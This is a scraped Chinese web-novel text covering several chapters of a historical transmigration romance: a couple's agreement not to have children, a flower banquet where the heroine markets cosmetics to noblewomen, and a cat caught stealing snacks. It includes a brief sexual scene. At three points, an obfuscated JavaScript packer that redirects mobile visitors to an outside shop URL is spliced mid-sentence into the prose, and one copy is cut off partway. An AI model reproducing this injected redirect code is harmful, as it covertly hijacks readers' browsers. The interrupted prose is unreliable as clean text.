若不是没有年龄合适的公主,皇帝估计还要给他赐婚,让他为改善皇室基因做贡献。 总而言之,姜尚就靠着自己的脸,当了一次小白脸,两个人的爱情也有了开端。 就凭姜尚在妻子死后将近二十年,不续弦,不纳妾,一直都洁身自好,也足以看出两个人之间的感情。 他无微不至的照顾自己的女儿,对她极尽宠爱,肯定也有很大的原因是对亡妻的怀念。 所以楚萧在想到这些之后,马上改口:“那我们不要孩子,再说我们又不是没有孩子,谦儿总会孝顺我们的。” 姜令仪没有说话,楚萧把她抱进怀里,像安抚小孩那样拍打她,她渐渐放松下来。 “真的吗?”姜令仪把头埋到他胸前,看不见她的脸:“你保证。” “我保证。” 有了楚萧的保证,姜令仪很快就收拾好了自己的情绪。 这个决定它早就存在了,只不过一直没有合适的机会去说,不管他同意还是不同意,姜令仪都不想要生孩子。 楚萧想起来:“那天晚上……” 姜令仪一顿:“没事的。” 那几天是她的安全期,她只是简略说了一下,这是从一本医书上看到的,如果经期规律,那这些天同房是不容易怀孕的。 楚萧摸了摸她的头,把她刚刚乱了的发丝捋平整,温声细语:“等我回来就去找太医开点药,这样算日子不太保险。” 姜令仪没有再说什么,但她心里是开心的,就算在现代,想找一个同意她不生孩子的伴侣都很难,没想到在盲婚哑嫁的这里,她遇到了一个愿意包容自己的人。 有了他的承诺,姜令仪原本还想着不让他上床的计划就暂时搁置了,但是今天肯定不可以,她明天有赏花宴,好在楚萧也没有这个意思,在知道她不想生孩子之后,他是不会在没有措施的情况下和她亲近的。 虽是如此,楚萧也不愿意一人一个被窝,他宁愿克制自己的冲动,然后抱着香香软软的姜令仪入睡。 姜令仪没有拒绝,他就是有点心疼精神的小将军:“不然我们还是分开睡?” 楚萧不同意,并且还收紧了手臂,用行动表示自己的拒绝。 姜令仪好笑的拍他的胳膊,凑到他耳边:“那我用手帮你?” 下一刻,楚萧就感到陌生的温度出现在了他身上,凉凉的,他重重喘了一口气,整个人都被姜令仪掌控在了手里,随着她的心意,楚萧或快或慢的低喘,轻声央求姜令仪改变力道,最后像一条搁浅的鱼,失神的瘫倒在了沙滩上。 “喜欢吗?” 姜令仪拿帕子擦着手,问旁边还没有回神的男人。 却没料到这个人回答她:“檀娘,我爱你。” 姜令仪就笑:“我也是。” 没想到这个人却很执着的刨根究底:“是什么?” 她不愿意总把爱挂在嘴边,但是他想听,那说一下也没关系:“二哥,我爱你。” 身体和心理都得到满足的男人才不再说话,把头埋在她的颈边,闻着她身上特有的香气入睡。 第二天一早,姜令仪就被小玉喊醒了,她要开始忙活赏花宴的事情,也催着楚萧赶快出发,别被今天来的那些夫人看到了。 看她一醒来就开始风风火火的穿衣洗漱,还没有半点不舍的赶他走,楚萧就知道今天早上是温存不了了,要是再黏黏糊糊的说不定还会挨骂,于是特别配合。 姜令仪很满意,吃完饭就跟着丫环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078790|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开了,没有再过多嘱咐,他这么大的人了,总知道轻重的。 但是让他想不到的是,他走之后,楚萧自己悄悄避开人去了胖猫的院子。 没错,楚怀谦在家里有自己的院子,那身为长子的胖猫,在这里当然也有自己单独的院子。 因为是将军府第一次宴请宾客,大家都很重视,胖猫院子里的人也都被拉去帮忙了,只剩下两个小太监守着门。 楚萧轻而易举的从高墙上翻了进去,衣摆都没沾半分尘土,落地悄无声息。 但是一落地,他的衣服下摆就被咬住了,楚萧拍拍胖猫的大脑袋:“是我。” 胖猫围着他嗅了嗅,终于认出,这是他那这长时间不归家,不负责任的爹,松开嘴,大摇大摆的在前面走,楚萧悠悠然跟了上去。 蹲在自己的小窝里,胖猫用爪子严肃的拍了拍地面,谴责他好长时间不回家,回来了也不来看自己。 的确是临走之前才想起猫儿子的楚萧有些理亏,他听不懂胖猫的意思,但是他有没有生气还是能看出来的。 楚萧蹲下平视他的眼睛,也不管他能不能听懂,和他解释:“我去打仗了,打完仗才能回家的,不然我没钱养你的,胖猫这么聪明,肯定呢能理解的对不对?” 胖猫不理解,他动作矫健的蹿上了墙面,一用力,就翻了过去。 楚萧明白了他的意思,也随后跟上。 胖猫就像一个活泼的孩子一样,悄摸摸躲着大人跑到了姜令仪住的院子,正好现在院子里的下人基本上都不在,他们两个躲开了人,到了里面的屋子。 不得不说,很眼熟,就是楚萧昨天晚上刚刚睡过的那个屋子。 胖猫熟门熟路的走到了多宝架旁边,一个起跳,就把目标盒子扒拉了下来。 这就是他的零食盒子。 之前姜令仪让厨房给他做的零嘴,不管放哪儿都能被这个馋猫找到,为了防着他偷吃,姜令仪把零食盒子放在了自己屋里,而且这个密封性很好的盒子,他自己也打不开。 现在胖猫就把盒子推到了楚萧面前,用爪子拍了拍:你表现的时候到了。 楚萧看了看紧闭着的盒子,又看了看眼巴巴盯着他的胖猫,最终还是拿起了盒子。 “没关系,反正檀娘以为我已经走了,就算她发现你偷吃了,也只会以为你把盒子砸开了,跟我没有关系的。” 摸了一把胖猫的头,楚萧给他拿了两块零食,得了意料之外的奖励,胖猫一口就吃完了,含在嘴里,珍惜的品味着来之不易的美味。 楚萧看了看盒子里面剩下的,很明显能看出来少了,这也是姜令仪为了防胖猫偷吃,特意做大了一点,这样少了一块也能发现。 那放回原位装作什么也没发生就不行了,楚萧没有把盒子盖上,就这样推到了椅子底下。 还沉浸美食中的胖猫一无所知,正陶醉的摇头晃脑,这是他最爱的口味。 楚萧想:对不住了大儿子,反正这是你吃的,锅还是你自己背吧。 胖猫不知道人类的心思有多险恶,吃完了零食,他吧砸吧砸嘴,也没有吵着再要,踮起脚就准备往外走。 见楚萧不动,他还扭头看他,小声“嗷呜”的催促他,赶紧走啊,千万别被发现了。 这样回自己屋子还要偷偷摸摸的经历,还真是楚萧的第一次。 等到了僻静无人的地方,胖猫又觉得不太放心,嗷嗷的和楚萧小声商议,让他千万别给自己告密,不然他就太惨了。 楚萧见他紧张的样子,很容易就能知道他的想法,毕竟这只馋猫是有前科的,他可是曾经因为偷吃被罚了一个月零食,现在也没长记性。 楚萧没有轻易许诺,而是跟他讲道理:“你也知道你娘很聪明的,我不告诉她,她也能抓住你偷吃,与其这样偷偷摸摸的,还不如早点去自首。” 他说:“用你娘说过的话,就是,坦白从宽,抗拒从严,不然挨罚会更厉害的。” 他耐心说了许多,胖猫还以为他是答应了,兴奋的开始去草地里扑蚂蚱,捉到了就送到楚萧面前。 可以看出来,他还是很喜欢这个爹的,抓到他喜欢的蝴蝶也小心翼翼的送到楚萧面前。 楚萧接过去,看着他毛茸茸的脸,忽然觉得良心有点痛。 但是一想到他把锅给胖猫背了之后,肯定逃不过被赶去睡书房的命运,他的良心瞬间就没有了。 算了,他就是一个专门欺负孩子的坏人。 90. 第 90 章 90 楚怀谦给送来的花很多,有这个季节开的正艳的,也有被宫人花了许多心力,不是这个季节就开放的,还有珍奇贵重的,各式各样的花被错落有致的摆到了花园,再加上原本精致的玻璃花,让整个花园都焕然一新。 被下人引着进来的贵妇人们都走不动路了,许多花他们见过,但不是这个季节能见到的,而玻璃花价格高昂,就算财力雄厚,也不会花大价钱买这么多的假花装点花园。 “这里居然还有鬼兰?”一位夫人惊呼。 她面前是一盆兰花,花色惨白,形容飘逸,风微微一吹,就能看到花神轻轻摇摆,就像是一个幽灵一样,别看名字不太好听,这花非常少见,因此是兰花中的极品,十分珍贵。 当今圣上偏爱兰花,曾盛赞贵妃就像是空谷幽兰,宫里御花园专门辟了一片地方养兰花,上有所好,下必甚焉,时下贵族皆以兰花为百花之最,所有看到珍贵的鬼兰,这夫人才忍不住出声。 然后她就发现,她惊讶的还是太早了,就拿兰花来说,除了鬼兰之外,这里还有素冠荷鼎,春剑黄梅,寒兰等,别管多名贵的花,在这里也都没什么特殊的待遇,都挤挤挨挨的放在一起。 姜令仪不识货,这布置的小太监知道这些花是多么珍稀贵重,但是没办法,姜令仪要求中间要空出一片空地来,两边摆着一排玻璃花,普通的花草在路两旁,那这些贵重的,索性就让他们在一起了,看起来也方便。 姜令仪觉得这个想法挺好,就这么办了。 就造成了这样一个局面,姜令仪一来,就看见那些自诩身份的夫人们,围了一圈在赏花,是真的在赏花。 他们已经顾不上套交情了,宴会天天有,但是这些话可不常见啊,看了所有的花之后,有记忆力比较好的夫人想起来了:“这些花,都是宫里的吧?” 这些极品兰花都是皇帝的爱花,只在一次贵妃的生日宴上搬出来让大家观赏过,和这些一模一样。 这话一出,所有人都沉默了。 不知道他们是在思考这句话的真实性,还是在盘算着将军府的受宠程度,不,现在不应该说是将军府了,应该是摄政王府。 为什么摄政王府能有皇宫里珍贵的花木?那肯定是太子送来的啊。 皇上中风瘫痪在床,连话都说不出来了,贵妃带着皇上去了行宫调养,现在的皇宫,说是太子的一言堂都不为过。 要他们说,这摄政王还真是命好,爹是大将军,娘是公主,生来就拥有最好的资源,收养了一个孩子,还恰好是太子,这一有权利,就开始给自己的养父大封特封,接了大将军的职位不说,二十出头就当上了摄政王,这搁谁谁不眼红啊? 但是再眼红他们也知道摄政王势头正盛,不会有人没眼色的想碰碰这块石头硬不硬,所有姜令仪一来,他们一个比一个热情。 摄政王那里的交情套不上,就从他王妃这里搞好关系也行啊。 姜令仪知道他们给面子,但也没想到他们会这么给面子,不仅没有摆脸色的,还一个个的好话跟不要钱一样对她说,怪不得皇帝喜欢奸臣呢,谁都喜欢听让自己舒心的话。 心情一好,姜令仪就决定给大家来一波福利,反正开业大吉嘛,给个折扣也正常。 姜令仪没有和他们寒暄太久,坐到主位上之后,她端起茶杯轻嗅:“这茶不错,给诸位夫人上茶。” 有性子急些的,已经按捺不住了:“王妃娘娘,您这花卖不卖,我看这些花实在喜欢的紧,您能不能忍痛割爱,匀给我两盆?” 姜令仪歉意的笑了笑:“实不相瞒,府里一开始后花园只有些杂草,这些花花草草的都是这两天凑齐的,明天这些都要还回去,如果诸位有兴趣,可以和他们的主人谈一谈。” 他们的主人? 和太子谈吗? 许多人都叹息一声,看来是不成了。 有喜欢晶莹剔透玻璃花的夫人问:“这些玻璃的要去哪里买?” 他们虽然不可能大手笔的买这么多,买个一两朵看个新鲜还是可以的,以前没见过这样带颜色的玻璃花,尤其是其中那一枝梅花,浅浅淡淡晕染的粉色真的是太美了。 姜令仪笑容扩大了几分:“这些都是新品,还没有投入市场,夫人想要的话就留下消息,等我遣人送去府上,今天这些花以后会当作样品在店里展览,就不会再出售了,所以夫人如果想要,估计还要等一阵子。” 本来有些犹豫的,就是不太想要别人用过的东西,一听有新的,有好几家都毫不犹豫的下了订单,至于金额,他们连问都不问的。 姜令仪总算知道,为什么会有二道贩子明明清楚风险很大,还是喜欢做大家族的生意了,这样爽快的买家,谁不喜欢呢。 正在心里模拟金币哗啦啦到账的声音的时候,来送茶水的宫女进来了,她们都是经过堪称严苛训练的宫女,走动的每一步都充满着韵律和美感,就算端了盘子也丝毫没有影响。 姜令仪用充满欣赏的眼神看着这一水儿的宫女,就气质仪态来讲,她们就已经能胜过现代大部分网上的那些名媛了,唯一不足的,就是她们始终恭敬的神情,已经不敢随意抬起的头颅。 这是没有办法的事情。 一开始,夫人们还在三三两两的讨论这些花,以及要买些什么样的玻璃花,渐渐的,场内所有的声音都停止了,真正的鸦雀无声。 她们的目光都投向了上茶的宫女们脸上,直到茶杯轻轻放在桌子上发出了声响,才把她们惊醒。 “这是?” 有一位年纪不大的圆脸夫人一脸震惊,从椅子上站了起来。 来赴宴的夫人们家世都不低,要不是家里丈夫官职高,要不就是娘家得力,这个站起来的圆脸夫人,就是张衡玉的夫人,关在还没有见面的时候,她就上了姜令仪重点关注的名单了。 她一站起来,姜令仪就知道为何她会这么激动,这位张夫人时下老人们很喜欢的媳妇类型,并不是大家追求的骨感美,她的脸圆圆的,身上也是肉肉的,五官很秀气,本来应该是很可爱的一张脸,却被脂粉遮掩的有些老气。 而她涂了厚厚的脂粉,也盖不住嘴角上方的那一小块疤,想来这就是她激动站起来的原因了。 原来宫女们脸上都化了妆,每个人的妆面都是以一种花为主题,荷花、梅花、兰花、桃花等等,但是不管是哪个主题,都有一个特点,底妆非常清透自然,但是也去很好的把她们脸上的瑕疵遮住了。 张夫人就是在宫女弯腰凑近的时候,发现连她脸上的毛孔都看不见,既然如此,那她的疤…… 姜令仪示意她稍安勿躁:“她们脸上用的东西,正是此次要推出的新产品,各位夫人可以凑近看一看。” 可以说,到了他们这个地位的,年纪都不可能太小了,很多都已经当了祖母了,但还是说,不管哪个年纪的女人,都无法抗拒对美的追求,再说了,他们都是有女儿的人,自己不用,让女儿漂漂亮亮的也很好啊。 还有就是像张夫人这样的,她比张衡玉张大人要小五岁,两个人是通过诗会认识的,在一次次以诗会友中互生了情愫,但是有一次在大街上,张夫人为了护住一个差点被马撞到的孩子,她抱着孩子狠狠摔了一跤,人没有什么大事,只是嘴巴磕到了一块尖锐的石头上,伤口有点深,最后留下的疤却是去不掉了。 虽然张衡玉一再表示自己不在乎,他本来就是看中她的才情,容貌于他来说如浮云,在婚后也一直劝她不必太过在意。 但是张夫人没办法不在意,张衡玉太好了,好到就算他娶了夫人,也有大把的人愿意没名没分的服侍他,张夫人一度因为脸上的疤不愿出门。 后来生了孩子,丈夫也对她一如既往,她的执念也已经消磨掉了不少,只是每次出门都会涂上厚厚的脂粉掩盖脸上的疤,看起来不像比张衡玉年轻,倒像是比他大五岁。 如今看到这样好看的妆容,张夫人原本以为自己已经古井无波的心狠狠跳动起来了。 姜令仪邀请她:“张夫人要不要来试试,我让婢女为你试妆。” “好。” 她站了出来。 姜令仪让明心去给张夫人化妆,明心手巧,这些宫女脸上的百花妆都是她设计的,自从这些彩妆研究出来以后,明心化妆的水平肉眼可见的提高,每天都有进步。 观察了一下张夫人的脸型,明心轻声和她沟通:“夫人,奴婢先给您卸妆,您的五官适合比较自然的妆面,您的眼睛大而有神,所以就重点放大眼睛的美,您看如何?” 张夫人没有意见:“就按你说的来。” 化妆的时间很漫长,但是大家都不觉得无聊,凑上来观看明心化妆的手法,也会问她面前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜令仪脸上的笑淡了下去,张夫人正在划唇妆不好开口,她的好友直接怼了回去:“不会吧不会吧,你不会不知道王爷陪王妃守孝呢吧?” 女婿一般是不必给岳父守孝的,楚萧这是因为双方父亲关系极近,楚将军和楚萧本人都愿意为岳父守孝,才这么办的。 一开始许多人也不知道,后来楚萧拒绝拒绝饮酒的理由就是“要为父亲守孝”,他亲爹又没死,那自然就是岳父了。 这消息传到京城之后,许多人都不敢置信,因为他们没有见到过,便认为这是以讹传讹,但现在姜令仪明显就是默认的态度,让她们心里多了些思量。 “那王妃现在出了孝期,要不要选些人在不方便的时候伺候王爷?”她不经意的说道:“咱们女人啊,最重要的就是主母的体面,不管他们再怎么宠爱那些小蹄子,始终都需要敬着咱们这些当家主母,所以啊,那些上不得台面的人也不必放在心上,王妃也要早做打算才好。” 说这话的人未必有什么坏心思,她年轻的时候也是这么过来的,一开始嫁人,满脑子的风花雪月,期待自己的婚后生活会如话本子里那般美好,只是生活的柴米油盐慢慢磨灭的她的少女情思,她年纪越来越大,丈夫身边却始终都有十八岁的如花美眷,她也看开了,只要不威胁到她的地位,谁受宠她都不放在眼里,甚至为了防止男人在外面乱来,她还会亲自挑选貌美的女子塞到后院去。 但要说她全然好心,那也不太可能,更多的是冷眼旁观吧,她想看看,这样恩爱的一对夫妻,感情到底能维持多久。 许多人心里也有这样的心思,他们还想着让家里的女儿们来分一杯羹,他们的亲生女儿是照着世家大妇的标准培养的,自然不可能进府当小妾,但谁家还没几个庶女呢? 要是摄政王开口,不知道会有多少人巴巴的送女儿进府,一个女儿就能换来和摄政王的姻亲关系,运气好了还能赶在王妃前面生个儿子,那岂不是和王府的关系坚不可摧了? 姜令仪直接掐断了他们的念头:“楚家从来没有纳妾的习惯,族谱第一页就有家训,楚家男儿遵循一夫一妻制,就不劳各位操心了。” 心里却想着,一会儿就去在族谱上加上这一条。 族谱都出来了,看来这事儿是成不了了,但是一想楚将军也是这么多年来就守着如安公主一个人,这个祖训的可能性还真的挺大的,这么一想,又觉得实在是错失了这么一个好女婿,委实可惜。 不过现在已成定局,他们再怎么遗憾也无济于事了。 姜令仪本来还想着开业打折呢,现在,她打算把价格再提一提。 哼,让她们再惦记着给楚萧送女人,那就都出出血吧。 91. 第 91 章 91 赏花宴持续了一个多时辰,姜令仪宣传化妆品的任务完美完成。 给张夫人化完妆之后,许多和她不熟悉的人都不敢认她了。 “这真的是张夫人吗?太好看了吧。” 倒不是说之前张夫人不好看,只是少有人见到她真正的容色如何,她一直以脂粉当作铠甲,把自己牢牢的护在底下,以至于这么长时间过去,他们早就忘了张夫人长什么样子了。 张夫人的手帕交激动的都顾不上维持仪态了:“这就是她年轻时候的模样。” 张夫人年轻的时候也很活跃,她活泼爱玩儿有才气,参加诗会,组织宴会,也会时不时的骑马踏青,现在虽然她依然保持着自己的生活情趣,只是很少会出门了。 化完妆的张夫人依旧算不得惊为天人的大美女,但却很好的把她的长处凸显出来了,一双眼睛好似能说话,看向她的时候,注意力就被那双眼睛吸引了,根本分不出精力观察其他。 张夫人照完镜子之后,对自己的妆容爱不释手,诚恳道谢:“多谢王妃娘娘。” 姜令仪:“夫人满意就好。” 何止是满意,张夫人不知道该如何表达自己的谢意,只能激情下单,引得其他夫人也跟着消费了不少。 姜令仪的嘴角都压不住了,她决定给张夫人还是要给点折扣的。 张夫人一回家,就让婢女把她新买的化妆品放到梳妆台上,至于以前的那些胭脂水粉,统统都换了。 她坐在镜子面前细细打量自己的脸,心情就像是外面的天气,一片晴朗,万里无云。 而在书房里工作的张衡玉,听到夫人赴宴回来的消息,把手里的奏折一扔,回房找夫人去了。 反正这些天写奏折也都没什么新意,大家全都是上书讨论摄政王的封赏问题的,他也就是随大流,今天不写了,明天随便拿一个折子凑数算了,反正据他所知,太子这些天关于摄政王的折子看都不看,也不知道他们每天写奏折烦不烦,反正他是写烦了。 张衡玉悠闲的回了正院,仆人们还很惊讶,大人这些天不是要在书房待到很晚吗?今天怎么这么快就出来了? 心里这么想着,一点儿也不耽误他们请安的动作。 张衡玉摆手喊起,又问:“夫人今天赴宴心情如何?” 他也是知道自家夫人心结的,以前他官位低的时候,许多人都不顾体面对她冷嘲热讽,张衡玉都记着那些人,一一报复给了他们的夫家和母家。 这些年随着他越爬越高,很少有人敢再提起他夫人的伤心事了,不过他已经习惯了,每次在夫人参加宴会回来之后,都会问一问下人她心情如何。 跟着张夫人出门的婢女恭敬答话:“夫人今天心情很好。” 心情很好? 张衡玉不太相信,一般她出门回来之后,顶多就是心情平平,怎么可能出现心情很好的时候?但是看这婢女又不像是撒谎的样子,他怀着疑惑的心情走了进去。 一进去,就看到张夫人面前那面镜子,照得人分毫毕现,“夫人?” 张夫人转过头,冲他嫣然一笑。 张衡玉恍惚看到了他们还年轻的时候,她还是那么意气风发,仿佛下一秒就要跳起来和他争论这句诗里遣词造句,那样的生机勃勃。 这些年外面的那些闲言碎语对张夫人不是没有影响的,她从原来那个活泼开朗的小女孩,逐渐的变得稳重,越来越像是一个标准的世家贵妇,除却私底下会和张衡玉一起跑马读书,在外人眼里,她真的变了好多。 但是在张衡玉眼里,他夫人一直都是初见时的模样。 “衡玉。”看到丈夫,张夫人显而易见的高兴,她站起来,在他面前转了一个圈,“怎么样,我今天有哪里不一样?” 这是他们夫妻之间的情趣,张夫人不爱逛街,所以她的许多首饰衣物都是张衡玉给她选的,很多搭配都出自张衡玉之手,张夫人经常会让他看自己每天的妆容、发型、衣服搭配还有配饰有什么不同,张衡玉也总能给她满意的回答。 但是今天,他却说:“我觉得没哪里不一样,都很好看。” 张夫人凑近他:“你仔细看看,真的没发现什么区别吗?” 张衡玉佯作沉思,从上到下打量了张夫人一遍,在他期待的眼神里,依旧还是摇了摇头:“我不知道,不是和早上一样吗?” 张夫人跺脚,隔着衣服拧他:“你今天怎么回事儿?故意气我是不是?” 张夫人才不相信他没看出来,以前她换了一个铺子的水粉他都能发现,张衡玉最引以为傲的就是他细致入微的观察力,他怎么可能看不出来? 明明就是故意在耍自己玩儿,张夫人气结。 看她俏脸一板,马上就要生气了,张衡玉无奈一叹:“不是骗你,在我眼里你这些年一直都没什么变化,永远都是我记忆里那个小姑娘。” 当年她因为救那个孩子才会受伤,张衡玉从不认为那是她的缺陷,反而是那点伤疤,在他心里她变得更加完美了。 但是张夫人不爱去外面听别人指指点点,张衡玉也不勉强,只要他心里知道自家夫人的好就可以了,今天的妆确实很漂亮,但她每天都很漂亮。 张夫人原本下撇的嘴角上扬,脸上飞起了一抹薄红:“你不要乱说,我现在哪里还能比得上以前呢?” 他们两个刚刚相识的日子,处在两人最美好的那段年华,少年少女最灿烂的时光,现在的她怎么可能和以前相比呢? 张衡玉叹息道:“卿卿,我从来不说假话。” 张衡玉从来不说谎,遇到不认同的事情,大多时候也是沉默,不认同,不拒绝,不发表意见,完美的贯彻了沉默是金这一原则。 所以他这么说,真的是理直气壮。 张夫人脸上的笑再也压不住,就像是一个沐浴在幸福中的小女人,她扑倒张衡玉怀里,感动道:“多谢你,衡玉。” 张衡玉也伸手抱住她:“傻不傻,夫妻之间哪有什么谢不谢的。” 要说之前的张夫人,她听到这些话顶多就是以为张衡玉是在哄她开心,但是现在有了完美的妆容之后,她忽然破开了自己的迷障,开始相信他是真的这样想的。 张夫人觉得,就算是现在她不施粉黛,也敢走出去了,她有丈夫宠爱,儿女双全,也有自己喜欢的事情,家里的人还都全权支持,世间少有人能活成她这个样子,她还有什么不满足的呢? 张夫人洒然一笑:“这些年是我魔怔了。” 张衡玉欣慰的看着她:“没关系,现在也不算晚。” 虽然想开了,但是张夫人对化妆品的兴致也不减半分。 看她实在喜欢,张衡玉也凑了过去,问道:“这就是摄政王妃要卖的东西?” 张夫人兴致勃勃的给他展示每样东西的用途,说的越多,张衡玉越是心惊。 他是知道自家夫人每个月胭脂水粉的花销的,这些东西单看起来不贵,但一整套下来,没有上百两银子是不行的,而且这还分了什么色号,单说口红,一套里面给了三种颜色,但是其他颜色呢? 如果出了不同的颜色,他们会控制住自己不买吗?买了能用得完吗?上新了之后会不会想试试新的颜色? 在户部待过,并且深知国库有多贫穷的张衡玉:好像请教一下摄政王妃到底是怎么想出来这么多赚钱法子的。 然后张夫人随手把买的一朵玻璃花递给了他:“这也是新出的,我看着好看,特意给你买了一朵。” 其实是想给姜令仪多花点钱的张夫人张口就来,一点儿都不怕被拆穿,反正花也买了,钱也掏了,东西也送出去了,任谁来她也是这个说辞,这就是专门买给张衡玉把玩的。 比起现在推崇的兰花,张衡玉更加偏爱傲霜而立的寒梅,张夫人专门给他挑了一个梅花,果然,他很感兴趣。 “很有巧思。”琢磨了半天,张衡玉最终给出了这个评价,“这得赚多少钱啊。” 不过想到玻璃坊马上就归在太子名下,他扼腕叹息的冲动就被按下去了。 问了玻璃花的价格,张衡玉心惊于玻璃的利润,也更加看清了摄政王夫妻和太子之间的感情,这么大的利益说给就给,也不亚于亲生母子了。 这也让他更加坚定自己的选择,太子和摄政王重情重义,在这样的人手底下干活,总比冷血无情的人来的安全, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150330|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且太子少年英才,现在就可以窥见明君之相。 他张衡玉可是要做出一番事业名垂青史的人,要是因为离间太子和摄政王的感情而被疏远,甚至被踢出权利中心,那岂不是太亏了。 那些上折子让太子防着摄政王的人,哼哼,肯定已经被太子在心里记了一笔了。 将军府。 原本因为有人想给楚萧塞女人,姜令仪还有些不愉,不过在看完这些夫人们下的订单之后,她就大度的原谅他们了。 毕竟楚萧才是罪魁祸首,太过出色也是错。 她觉得心里的气消下去了,小玉却为她不平,一激动,连一开始的称呼都秃噜了出来:“小姐,那些人真是可恶,哪有上来就问要不要给自家夫君纳妾的,他们未免也太过分了。” 一旁的明心也很赞同,她们两个见识的还是太少了,楚将军和楚萧都不是拈花惹草的人,以至于她们以为世上所有的男人都是这样的。 但其实不是的,“她们习惯如此了,人这一生无非就是贪图权、钱、色,尤其是有了权利的男人,他们想要钱,自会有依附他们的商人双手奉上,想要漂亮姑娘,家里没有,外面也会有,为了不让男人的心留在外面,这些夫人就主动给他们纳妾。” 要说一开始姜令仪还有些生气,想通之后就只剩下悲哀了。 古代女子生活从来不容易,出生在普通农户的女子,到了年纪匆匆嫁出去,彩礼钱用来给兄弟娶媳妇,是姑娘的时候忙前忙后的干活,嫁出去以后要干活还要侍奉公婆,就算怀孕了也要在田间劳作,许多人都是在地头上把孩子生下来的,坐月子?能休息三天就不错了。 要是生在高门大户,也要从小学习礼仪规矩,遵从以夫为天的思想教育,要在家从父,出嫁从夫,夫死从子,好像这一生从来由不得自己,她们是两家关系的纽带,但是这个纽带过的好不好,却并不被他们放在眼里。 姜令仪能理解,却始终无法感同身受,这也是她比较幸运,遇到了楚将军和如安公主,遇到了楚萧,她所有的自由,都是有他们在纵容的。 姜令仪叮嘱她们两个:“以后嫁人一定要擦亮眼睛,千万不要被道貌岸然的伪君子骗了,有的男人在结婚之前说的天花乱坠,好像是这世上不可多得的好男人,但是一结婚,他觉得套牢了你,就开始原形毕露了。” “而且结婚是两个家庭的事情,一定要打听好他们家的情况,综合考虑之后再决定。” 小玉是一直陪着她的人,说是婢女,其实姜令仪心里已经把她当成了姐妹,明心来到她身边之后也一直尽心尽力的伺候,帮了她不少忙,姜令仪是真心实意想让她们以后过得好,不免多嘱咐了几句。 小玉一脸抗拒:“我要一直伺候王妃,才不要结婚呢。” 好吧,这个还没有开窍呢。 奇怪的是,明心也不愿意:“奴婢只想伺候王妃。” 看她们是真的不愿意,姜令仪也没有强逼他们,只是让他们考虑考虑,要是有想嫁的人,就来跟她说,她把把关,顺便给她们做主。 明心笑着应下了,但是却暗暗下定决心,以后决不想着嫁人的事情。 她之前在凉州的时候,无意间见过明月结婚后的生活,丈夫染上了赌,家里原本厚实的家底败的不轻,小姑子都不是好相处的,婆婆更是监督着她干活,一刻都不能停歇。 原本骄傲的从不低头的明月,已经被生活磨平了棱角,看到她,明心突然说“黄脸婆”三个字具象化了。 她不知道明月有没有看见自己,只是她忽然很恐惧,她怕有一天,自己也会变成这个模样。 在刚刚王妃问起结婚的打算,她脱口而出的就是拒绝,然后就松了一口气,卸下了心中的一块大石头。 她已经决定了,以后就好好干活攒钱,老了干不动的时候,依王妃的性子,肯定会给她安排好养老的,那还有什么可担心的。 想通了的明心脚步轻快的出去做事了,她要给自己攒养老钱了。 姜令仪完全不知道自己丫环的想法,忙活了大半天,她打算回房休息一下。 “嗯?” 她发现多宝架上的零食盒消失了。 92. 第 92 章 92 她屋子里摆放的东西并不多,主要是姜令仪喜欢干净整洁简单大方的风格,最多摆几盆花当做天然的熏香。 她喜欢屋子里淡淡的花果清香,对于檀香之类的向来是敬谢不敏。 东西少,意味着她扫一眼就能发现缺了什么东西,也能迅速找到藏东西的东西。 更何况楚萧还没有认真去藏。 姜令仪往前走了两步,就看到了椅子底下的零食盒子,她弯腰捡起来,盒子被撞开了,里面一股肉类的香味跑了出来 姜令仪都被那个小崽子气笑了,拿起来数了数,好嘛,缺了两根,看来还挺聪明,知道不能一次吃太多,不然容易被抓住。 想了想,她把零食盒放到一边,准备休息好了再去和胖猫对峙。 因着早上起得早,比她平日里起床的点要早两刻钟,所以午休的时间被她稍微延长了一刻,醒来的时候却觉得脑袋晕晕的。 她做起来缓了缓,有些后悔多睡了那么一会儿,总感觉越睡越困了,搞不好还会打乱晚上的作息。 听到里面有了动静,小玉就进来了:“王妃,太子殿下和敏之少爷来了,知道您正是午休的时候,便没有让喊醒您,太子自己到猫主子院子里去玩儿了,敏之少爷听说您给他搜罗了一把宝刀,跟着人去库房里拿了。” 正好,姜令仪拿起来胖猫的零食盒子,打算去和那个馋猫算账。 几天不见胖猫,楚怀谦正稀罕的和他贴贴,还用千金难求的奇楠木的梳子给他梳毛。 胖猫享受了一会儿之后,就不耐烦的甩了甩尾巴。 楚怀谦把梳子放下,气呼呼的训他:“胖猫,我现在可是太子了,多少人想见我都见不到一面,当朝太子给你梳毛毛,你不敢急就算了,居然还敢不耐烦。” 凶不过三秒,他就绷不住脸色,讨好的凑到了胖猫面前:“猫大哥,咱们打个商量,你驮着我跑两圈怎么样?” 年龄变小以后,就算楚怀谦有这成年人的想法,也很难抵挡一些本能,比如看到胖猫撒欢的在院子里奔跑,他就想跟他一起玩儿。 胖猫现在已经接近于一只成年虎了,看着体型比一般的老虎要小,战斗力却更甚,驮一个半大的孩子也没什么难度。 